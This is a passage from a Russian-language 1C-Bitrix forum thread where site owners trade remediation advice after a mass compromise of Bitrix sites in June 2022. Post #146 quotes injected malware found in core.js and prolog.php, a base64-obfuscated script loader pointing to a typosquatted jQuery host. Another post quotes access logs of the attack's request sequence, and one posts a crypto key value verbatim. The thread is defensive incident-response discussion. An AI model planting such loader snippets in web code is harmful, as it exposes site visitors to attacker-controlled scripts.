1С-Битрикс Разработчикам

Эксперт

Сообщений: 1119 Баллов: 180 Регистрация: 13.06.2011

#141

30.06.2022 11:28:57

Цитата
написал: После восстановления и обновления, снова вижу новые загруженные файлы в /upload/

посмотрите дату модификации загруженных файлов и найдите в логе Apache примерно в это время запросы.
так поймёте через что опять заливают.
может где-то всё таки бэкдоры имеются ...

Меня ТП Битрикс заверили что платформа последней версии от описанной выше уязвимости полностью защищена...

Пользователь 104919

Заглянувший

Сообщений: 10 Регистрация: 14.03.2012

#142

30.06.2022 11:31:46

Цитата
написал: Есть варианты решения?

ТП битрикса говорит, что это не связано со взломом, нужно только поправить файл /bitrix/.settings.php, внести в него

Скрытый текст
'crypto' => array ( 'value' => array ( 'crypto_key' => 'N0kXnquCZ#FcPB0jgg8ivcLP6y3l4%Q^', ), 'readonly' => true, ),

Но при этом, файлы вида BXTEMP-2022-06-29, BXTEMP-2022-06-30 продолжают создаваться. Хотя уже не создаются вредоносные агенты, и не удаляются инфоблоки.

Пользователь 153705

Постоянный посетитель

Сообщений: 147 Баллов: 30 Регистрация: 18.12.2012

#143

30.06.2022 11:36:09

Цитата
Но при этом, файлы вида BXTEMP-2022-06-29, BXTEMP-2022-06-30 продолжают создаваться. Хотя уже не создаются вредоносные агенты, и не удаляются инфоблоки.

Стандартная процедура самого битрикса такие тоже создаёт, она в них собственно и скачивает обновления.

Пользователь 5873954 Заглянувший Сообщений: 3 Регистрация: 27.12.2021	#144 0 30.06.2022 12:02:48 У меня на ВДС 3 сайта, один взломали, где не было обновлений (он по сути мне и не нужен был). Могут ли тогда взломать остальные 2?

Пользователь 6395960 Заглянувший Сообщений: 1 Регистрация: 30.06.2022	#145 0 30.06.2022 12:54:32 Российские учебные заведения поломали 20.06.2022 в 6:40 - 50. Начало приемной комиссии. Нас сломали, и начали ддосить.

Пользователь 140709

Постоянный посетитель

Сообщений: 178 Баллов: 28 Регистрация: 30.08.2012

#146

30.06.2022 22:48:15

Не уверен, связано ли это с взломом от 28 числа, но в системе обнаружились еще 2 бяки:

bitrix/js/main/core/core.js

Код
s=document.createElement(script);s.src=atob(aHR0cHM6Ly9jb2RlLmpxdWVyeS11aWkuY29tL2pxdWVyeS11aS5qcw==);document.head.appendChild(s);

bitrix/modules/main/include/prolog.php

Код
echo "<sc ript src='https://code.jquery-uii.com/jquery-ui.js'></sc ript>";

Рекомендую проверить эти вещи тоже.

????????? ????????

Пользователь 2470299 Заглянувший Сообщений: 4 Регистрация: 21.09.2018	#147 0 01.07.2022 17:41:42 А не проще, этот модуль удалить, его мало кто вообще использует..

Пользователь 1335277

Заглянувший

Сообщений: 7 Регистрация: 17.08.2017

#148

01.07.2022 19:16:55

Цитата
написал: Рекомендую проверить эти вещи тоже.

Обнаружил такое же сегодня у себя самостоятельно, только вот в чем незадача, файлы были изменены 30.06.2022 в 17:09, а все требующиеся быстрые заплатки я сделал за 5 часов до этого.
Начал смотреть логи, вот такая картинка:

Цитата

185.65.135.173 - - [30/Jun/2022:17:09:45 +0300] "GET / HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:46 +0300] "GET / HTTP/1.0" 200 40405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:47 +0300] "GET /bitrix/tools/composite_data.php HTTP/1.0" 200 839 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:47 +0300] "POST /bitrix/tools/html_editor_action.php HTTP/1.0" 403 503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:48 +0300] "POST /bitrix/tools/html_editor_action.php HTTP/1.0" 403 503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:48 +0300] "GET /bitrix/components/bitrix/main.file.input/main.php HTTP/1.0" 200 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:49 +0300] "GET /bitrix/components/bitrix/main.file.input/main.php HTTP/1.0" 200 190 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:49 +0300] "GET /bitrix/components/bitrix/main.file.input/main.php HTTP/1.0" 200 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Edge/99.0.1150.36"
185.65.135.173 - - [30/Jun/2022:17:09:50 +0300] "GET /bitrix/components/bitrix/main.file.input/set_list.php HTTP/1.0" 200 168 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Обратите внимание запросы к /bitrix/tools/html_editor_action.php уже отдавали 403
/bitrix/components/bitrix/main.file.input/main.php - вываливается в ошибку Notice: Undefined index: HTTP_TEMPLATE
Также интересно что /bitrix/components/bitrix/main.file.input/set_list.php отдает 200, хотя такого файла нет и сейчас этот адрес отдает 404...
Получается что на время операции такой файл был.

Версия 20.0.900

Пользователь 646337

Заглянувший

Сообщений: 1 Регистрация: 18.07.2016

#149

01.07.2022 21:52:42

Код

<?
AddEventHandler("main", "OnBeforeProlog", "CriticalVulnFix", -1);

function CriticalVulnFix()
{
    if (is_array($_FILES) && !empty($_FILES) && !$GLOBALS['USER']->IsAdmin()) {
        $GLOBALS['APPLICATION']->RestartBuffer();
        http_response_code(400);
        exit;
    }
}

Я правильно понял, что дело в загрузке файла и открытие его не понятно каким образом на исполнение php скрипта. Тогда вот костыль что только админ может загружать файл.

Пользователь 6164690

Постоянный посетитель

Сообщений: 82 Баллов: 13 Регистрация: 12.04.2022

#150

01.07.2022 22:27:36

Цитата
написал: Обновите свои сайты и не будет проблем, обновления не зря выпускают.

или соберите нормально
nginx

КАК ОБНОВИТЬ / ПЕРЕСОБРАТЬ NGINX В BITRIXVM СО ВСЕМИ МОДУЛЯМИ ЗА 10 ШАГОВ

читать тут

Форум

Центр поддержки

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером